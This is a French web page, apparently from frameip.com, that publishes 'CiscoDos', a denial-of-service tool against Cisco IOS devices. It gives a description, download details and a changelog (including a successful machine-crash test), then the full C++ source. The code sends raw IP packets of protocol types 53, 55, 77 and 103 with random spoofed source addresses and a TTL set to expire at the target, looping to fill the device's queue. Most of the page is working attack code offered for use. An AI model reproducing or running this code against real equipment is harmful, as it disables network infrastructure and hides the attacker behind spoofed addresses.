Outil d’attaque DOS d’un équipement Cisco

Outil d’attaque DOS d’un équipement Cisco

1 – Définition de l’exécutable

L’utilitaire CiscoDos envoi des trame IP basé sur les protocoles IP de type 53, 55, 77 et 103. il permet donc de réaliser l’attaque Cisco afin de rendre inutilisable une interface. L’intérêt de cet utilitaire est de pouvoir changer son IP source de manière aléatoire.

2 – Screen shot

ciscodos screen shot

3 – Download

Nom : CiscoDos.exe
Mode : Console
Version : 4.0
Librairie : 3.10
Taille : 56 Ko
Auteur : _SebF
Date de création : 28 Juillet 2003
Dernière compilation : 29 Août 2006

4 – Suivi du développement

4.1 – Problème restant

4.2 – RoadMap

4.3 – Suivi du projet

  • V4.0.3.10
    Migration vers Libpcap
    Ajout des arguments -send_mode -interface
    Affichage de l’IP_TYPE choisit au lieu du nombre d’octet envoyé
  • V3.4.3.9
    Correction du bug sur la résolution de nom d’host spécifié dans -ip_source
  • V3.3.3.5
    Changement de l’email dans l’aide.
    Remplacement de l’email par l’url www.frameip.com dans les data.
  • V3.2.3.3
    Changement du protocole par défaut à 77 au lieu de 103.
  • V3.2
    Intégration du paramètre char [65535] dans la procédure des gestions d’erreurs.
  • V3.1
    Nouvel gestion des arguments intégrant les /.
     Suppression des résolutions de noms à l’affichage de l’aide.
     Changement de la définition de la variable longueur_de_data_a_envoyer de int en size_t.
  • V2.5
    Intégration du nouveau loops infinie géré dans la gestion des arguments.
  • V2.4
    Suppression de la struct TCP dans la longueur à émettre. Erreur de copier coller.
    Ajout de l’option Ip Source aléatoire.
    Ajout du code erreur 5.
  • V2.3
    Suppression des 3 Warning.
  • V2.2
    Gestion des codes d’erreurs.
    Control du fonctionnement des arguments.
    Intégration du While permettant la boucle.
  • V2.1
    Intégration des variable ip_source_initiale et ip_destination_initiale.
    Intégration de l’argument loops.
    Refonte de l’affichage de l’aide.
  • V1.0
    Création du projet Cmd.
    Passage en Level 4.
    Suppression du répertoire Debug.
    Gestion de l’argument de la boucle.
    Test de crash d’une machine => OK.

5 – Code source

5.1 – CiscoDos.cpp

// ********************************************************
// ********************************************
// Nom : CiscoDos.cpp
// Auteur : _SebF@frameIP.com.pas.de.spam
// Date de création : 28 Juillet 2003
// version : 4.0.3.10
// Licence : Cette executable est libre de toute utilisation.
//           La seule condition existante est de faire référence
//           au site http://www.frameip.com afin de respecter le travail d'autrui.
// ********************************************

// ********************************************************
// Les includes
// ********************************************************
// Il faut ajouter dans les proprités du projet => C++ => Command Line :
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Include"
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairieSocket"
#include "LibrairieSocket.h"
#include "pcap.h"

// ********************************************************
// Les Librairies
// ********************************************************
// Il faut ajouter dans les proprités du projet => Linker => Command Line :
// /NODEFAULTLIB:libcd.lib
// /LIBPATH:"C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Lib"
#pragma comment(lib,"Packet.lib")
#pragma comment(lib,"wpcap.lib")

// ********************************************************
// Les procédures
// ********************************************************
void initiation_des_variables(void);
void affichage_de_l_aide(void);
void gestion_des_arguments(int argc, char* argv[]);
void Changement_aleatoire_des_valeurs(void);
void envoi_de_la_trame_winsock(void);
void envoi_de_la_trame_pcap(void);
void affichage_du_resultat(void);

// ********************************************************
// Les variables
// ********************************************************
struct mac entete_mac;                                    // Entête Ethernet
struct ipv4 entete_ipv4;                                   // Entete IP
char data_a_envoyer[65535];                         // Data
size_t taille_de_data;    // Longueur du char *, je n'utilise pas strlen car il peux y avoir des 0
unsigned char trame_a_envoyer[65535];                     // Entete IP + data
int nombre_de_caractere_emis;                       // Variable récupérant le nombre de caractères émis
unsigned long loops;                                                    // Compteur permettant de lancer x fois les trames
char ip_destination[16];           // Adresse IP Destination permettant d'initier entete_ipv4.ip_destination
bool bouclage_infinie;                                      // Variable permettant de définir le mode de boucle infinie (quand loops=0)
bool ip_source_aleatoire;                                // Acive ou désactive le mode IP Source Aléatoire
unsigned int choix_mode_d_envoi;                                                      // Variable définissant le mode d'envoi (0=Soket - 1=Libpcap)
unsigned char numero_de_l_interface;                                     // Numéro de l'interface qui sera utilisée
struct gestion_des_interfaces liste_des_interfaces; // structure possédant les informations des intefaces
struct adresse_mac adresse_mac_tampon;                                          // Adresse MAC

int main (int argc, char* argv[])
            {
            initiation_des_variables();
            gestion_des_arguments(argc,argv);
            if (loops==0)                                                   // Conditionne si le bouclage infinie
                        bouclage_infinie=TRUE;                      
            while ( (loops!=0)||(bouclage_infinie==TRUE) )
                        {
                        loops--;
                        Changement_aleatoire_des_valeurs();

                        // ********************************************************
                        // Envoi de la trame
                        // ********************************************************
                        if (choix_mode_d_envoi==0)
                                   envoi_de_la_trame_winsock();
                        else
                                   envoi_de_la_trame_pcap();

                        affichage_du_resultat();
                        }
            printf("\n\n");
            return(1);
            }

void initiation_des_variables(void)
            {
            unsigned int i;

            // ********************************************************
            // Initiation diverse
            // ********************************************************
            srand(GetTickCount());
                        
            // ********************************************************
            // Affichage de la banniere
            // ********************************************************
            printf("\nCiscoDos - Deny Of Service Cisco IOS - Version 4.0.3.10");
            printf("\nCreate on July 28, 2003, Last compilation on August 29, 2006");
            printf("\nCreated by Sebastien FONTAINE - http://www.frameip.com");
            printf("\n");

            // ********************************************************
            // Initiation des arguments
            // ********************************************************
            loops=1;
            bouclage_infinie=false;
            ip_source_aleatoire=true;
            choix_mode_d_envoi=1;
            numero_de_l_interface=0;
            liste_des_interfaces=recuperation_des_interfaces();

            // ********************************************************
            // Options de l'entête MAC
            // ********************************************************
            adresse_mac_tampon=recuperation_de_l_adresse_mac(liste_des_interfaces.nom[numero_de_l_interface]);
            for (i=0;i<6;i++)
                        {
                        entete_mac.source[i]=adresse_mac_tampon.adresse[i];
                        entete_mac.destination[i]=255;
                        }
            entete_mac.type=htons(2048); // 08 00 indiquant un datagramme IP

            // ********************************************************
            // Initialisation des data
            // ********************************************************
            strcpy(data_a_envoyer,"www.frameip.com");
            taille_de_data=strlen(data_a_envoyer);

            // ********************************************************
            // Initialisation de l'entete Ip
            // ********************************************************
            entete_ipv4.ihl=5;
            entete_ipv4.version=4;
            entete_ipv4.tos=0;
            entete_ipv4.length=0;
            entete_ipv4.id=0;                                                        // Il est initialisé plutard
            entete_ipv4.offset=0;
            entete_ipv4.ttl=100;
            entete_ipv4.type=77;
            entete_ipv4.ip_source=0;                                // Il est initialisé plutard
            strcpy(ip_destination,"192.168.101.254");
            entete_ipv4.ip_destination=resolution_de_nom(TRUE,ip_destination);
            }

void affichage_de_l_aide(void)
            {
            unsigned int i;

            printf("\n");
            printf("\n-?                    This help");
            printf("\n-send_mode            0=Soket 1=Libpcap  Default: %d",choix_mode_d_envoi);
            printf("\n-loops                Number of loops    Default: %d (0 => no stop)",loops);

            printf("\n\nFREE INTERFACES");
            for(i=0;i<(signed)liste_des_interfaces.nombre;i++)
                        printf("\n%d - %s",i,liste_des_interfaces.description[i]);
            printf("\n-interface            Interface choice   Default: %d",numero_de_l_interface);

            printf("\n\nIP HEADER OPTIONS (-mac_type 2048)");
            printf("\n-ip_source            @Ip or host name   Default: %d (0 => random)",entete_ipv4.ip_source);
            printf("\n-ip_destination       @Ip or host name   Default: %s (0 => random)",ip_destination);
            printf("\n-ip_ttl               Time To Live       Default: %d",entete_ipv4.ttl);
            printf("\n-ip_type              Ip Protocol        Default: %d",entete_ipv4.type);

            printf("\n");
            printf("\nsample : ciscodos.exe -interface 2 -ip_ttl 9 -loops 100");
            printf("\n");
            printf("\nYou must choise the good TTL, because the frame must expire to the target.");
            printf(" If you want to deny the target, you must send servals frames to full the target queue.");
            printf(" You must try to deny only YOUR equipment.");
            printf("\n");
            printf("\n");
            exit(0);
            }

void gestion_des_arguments(int argc,char* argv[])
            {
            char *caractere_non_convertit;
            int i;

            // ********************************************************
            // S'il n'y a pas d'argument
            // ********************************************************
            if (argc==1)
                        affichage_de_l_aide();

            // ********************************************************
            // Récupération des arguments
            // ********************************************************
            for (i=1;i<argc;i=i+1)
                        {
                        // ********************************************************
                        // Options diverses
                        // ********************************************************
                        if ( (strcmp(strlwr(argv[i]),"-?")==0) || (strcmp(strlwr(argv[i]),"/?")==0) )
                                   affichage_de_l_aide();
                        if (strcmp(strlwr(argv[i]),"-send_mode")==0)
                                   {
                                   choix_mode_d_envoi=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
                        if (choix_mode_d_envoi!=1)
                                               choix_mode_d_envoi=0;
                                   }
                                                           if ( (strcmp(strlwr(argv[i]),"-loops")==0) || (strcmp(strlwr(argv[i]),"/loops")==0) )
                                   {
                                   loops=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
                                    if (loops==0)
                                               bouclage_infinie=TRUE;
                                   else
                                               bouclage_infinie=FALSE;
                                   }

                        // ********************************************************
                        // Choix de l'interface
                        // ********************************************************
                        if (strcmp(strlwr(argv[i]),"-interface")==0)
                                   numero_de_l_interface=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);

                        // ********************************************************
                        // Options de l'entête IP
                        // ********************************************************
                        if ( (strcmp(strlwr(argv[i]),"-ip_source")==0) || (strcmp(strlwr(argv[i]),"/ip_source")==0) )
                                   if (argv[i+1]==0)
                                               ip_source_aleatoire=TRUE;
                                   else
                                               {
                                               ip_source_aleatoire=FALSE;
                                               entete_ipv4.ip_source=(unsigned long)resolution_de_nom(FALSE,argv[i+1]);
                                               }
                        if ( (strcmp(strlwr(argv[i]),"-ip_destination")==0) || (strcmp(strlwr(argv[i]),"/ip_destination")==0) )
                                   entete_ipv4.ip_destination=(unsigned long)resolution_de_nom(FALSE,argv[i+1]);
                        if ( (strcmp(strlwr(argv[i]),"-ip_ttl")==0) || (strcmp(strlwr(argv[i]),"/ip_ttl")==0) )
                                   entete_ipv4.ttl=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
                        if ( (strcmp(strlwr(argv[i]),"-ip_type")==0) || (strcmp(strlwr(argv[i]),"/ip_type")==0) )
                                   entete_ipv4.type=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
                        }

            // ********************************************************
            // Préparation des adresses MAC
            // ********************************************************
            adresse_mac_tampon=recuperation_de_l_adresse_mac(liste_des_interfaces.nom[numero_de_l_interface]);
            for (i=0;i<6;i++)
                        entete_mac.source[i]=adresse_mac_tampon.adresse[i];
            }

void Changement_aleatoire_des_valeurs()
            {
            // ********************************************************
            // Random de l'IP Source
            // ********************************************************
            if (ip_source_aleatoire==TRUE)
                        entete_ipv4.ip_source=generation_d_une_adresse_ip_aleatoire(0);

            // ********************************************************
            // Random de l'ID IP
            // ********************************************************
            entete_ipv4.id=(unsigned short)(rand()%65536);                                                        // Tire entre 0 et 65535
    }

void envoi_de_la_trame_winsock(void)
            {
            WSADATA initialisation_win32;
            SOCKADDR_IN information_sur_la_destination;
            SOCKET id_de_la_socket;
            int tampon;

            // ********************************************************
            // Initialisation de la Socket
            // ********************************************************
            if (WSAStartup(MAKEWORD(2,2),&initialisation_win32)!=0)
                        gestion_des_erreurs(1,"WSAStartup",1,1);      

            // ********************************************************
            // Ouverture d'une Socket
            // ********************************************************
            id_de_la_socket=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
            if (id_de_la_socket==INVALID_SOCKET)
                        gestion_des_erreurs(1,"socket",1,1);    

            // ********************************************************
            // Activation de l'option permettant d'inclure l'entete IP lors de l'emission
            // ********************************************************
            if (setsockopt(id_de_la_socket,IPPROTO_IP,IP_HDRINCL,(char *)&tampon,sizeof(tampon))!=0)
                        gestion_des_erreurs(1,"setsockopt",1,1);         

            // ********************************************************
            // Préparation de la trame à envoyé
            // ********************************************************
            memcpy(trame_a_envoyer,(unsigned short *)&entete_ipv4,sizeof(struct ipv4));
            memcpy(trame_a_envoyer+sizeof(struct ipv4),data_a_envoyer,taille_de_data);

            // ********************************************************
            // Paramètre nécessaire au sendto
            // ********************************************************
            information_sur_la_destination.sin_family=AF_INET;
            information_sur_la_destination.sin_addr.s_addr=entete_ipv4.ip_destination;

            // ********************************************************
            // Envoi de la trame en winsock
            // ********************************************************
            nombre_de_caractere_emis=sendto(id_de_la_socket,(char *)trame_a_envoyer,sizeof(struct ipv4)+(int)taille_de_data,0,(struct sockaddr*)&information_sur_la_destination,sizeof(information_sur_la_destination));
            if (nombre_de_caractere_emis==-1)
                        gestion_des_erreurs(1,"sendto",1,1);
            
            // ********************************************************
            // Fermeture de la socket correspondant à la commande socket()
            // ********************************************************
            closesocket(id_de_la_socket);

            // ********************************************************
            // quite propement le winsock ouvert avec la commande WSAStartup
            // ********************************************************
            WSACleanup(); //  (A appeller autant de fois qu'il a été ouvert)
            }

void envoi_de_la_trame_pcap(void)
            {
            pcap_t *pointeur_interface;
            char buffer_d_erreur[PCAP_ERRBUF_SIZE];

            // ********************************************************
            // Accède à l'interface
            // ********************************************************
            if ((pointeur_interface=pcap_open_live(liste_des_interfaces.nom[numero_de_l_interface], 65536,0,1000,buffer_d_erreur))==NULL)
                        gestion_des_erreurs(1,"pcap_open_live",1,1);

            // ********************************************************
            // Calcul de la longueur totale
            // ********************************************************
            entete_ipv4.length=htons((unsigned short)(sizeof(struct ipv4)+taille_de_data));

            // ********************************************************
            // Calcul du checksum IP
            // ********************************************************
            entete_ipv4.checksum=calcul_du_checksum_ip(false,entete_ipv4);

            // ********************************************************
            // Concatenation des différentes couches
            // ********************************************************
            memcpy(trame_a_envoyer,(unsigned short *)&entete_mac,sizeof(struct mac)); 
            memcpy(trame_a_envoyer+sizeof(struct mac),(unsigned short *)&entete_ipv4,sizeof(struct ipv4));
            memcpy(trame_a_envoyer+sizeof(struct mac)+sizeof(struct ipv4),data_a_envoyer,taille_de_data);  

            // ********************************************************
            // Envoi de la trame
            // ********************************************************
            if(pcap_sendpacket(pointeur_interface,trame_a_envoyer,sizeof(struct mac)+sizeof(struct ipv4)+taille_de_data)!=0)
                        gestion_des_erreurs(1,"pcap_sendpacket",1,1);                      

            // ********************************************************
            // Fermeture de l'accès à l'interface
            // ********************************************************
            pcap_close(pointeur_interface);           
            }

void affichage_du_resultat()
            {
            struct in_addr convertion_inet_addr;
            
            // ********************************************************
            // Affichage du resultat
            // ********************************************************
            convertion_inet_addr.S_un.S_addr=entete_ipv4.ip_source;
            printf("\nThe frame was sent with ip_type %d from %s",entete_ipv4.type,inet_ntoa(convertion_inet_addr));
            convertion_inet_addr.S_un.S_addr=entete_ipv4.ip_destination;
            printf(" to %s",inet_ntoa(convertion_inet_addr));
            }

6 – Discussion autour de l’outil d’attaque DOS d’un équipement Cisco

Vous pouvez poser toutes vos questions, faire part de vos remarques et partager vos expériences à propos de l’outil d’attaque DOS d’un équipement Cisco. Pour cela, n’hésitez pas à laisser un commentaire ci-dessous :

Commentaire et discussion

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *